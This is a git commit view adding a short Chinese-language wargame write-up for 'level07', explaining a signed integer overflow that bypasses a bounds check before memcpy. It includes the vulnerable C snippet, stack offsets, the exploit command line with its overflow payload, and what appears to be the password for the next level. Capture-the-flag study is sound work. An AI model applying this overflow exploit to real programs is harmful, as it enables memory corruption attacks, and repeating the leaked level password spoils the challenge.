summaryrefslogtreecommitdiff
path: root/level07
diff options
context:
space:
mode:
Diffstat (limited to 'level07')
-rw-r--r--level0715
1 files changed, 15 insertions, 0 deletions
diff --git a/level07 b/level07
new file mode 100644
index 0000000..36a0bc8
--- /dev/null
+++ b/level07
@@ -0,0 +1,15 @@
+注意以下代码中 count 是有符号数,只要使 count 为负数,而 count * sizeof(int) 为一个比较小的整数,则既能绕过 count >= 10 的检测,又能使程序正常运行::
+
+ int count = atoi(argv[1]);
+ int buf[10];
+ if(count >= 10 )
+ return 1;
+ memcpy(buf, argv[2], count * sizeof(int));
+
+经过逆向,buf 的地址是 ebp-0x48,count 的地址是 ebp-0xc,因此一共需要写 0x40 字节。我们让 count = 0x80000000 | (0x40 / sizeof(int)) = 0x80000010 = -2147483632 即可。
+
+顺便说一下,这关通过的条件是 count == 0x574f4c46,就是字符串 FLOW,暗示了是整数溢出。
+
+/levels/level07 -2147483632 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abFLOW
+
+level8 VSIhoeMkikH6SGht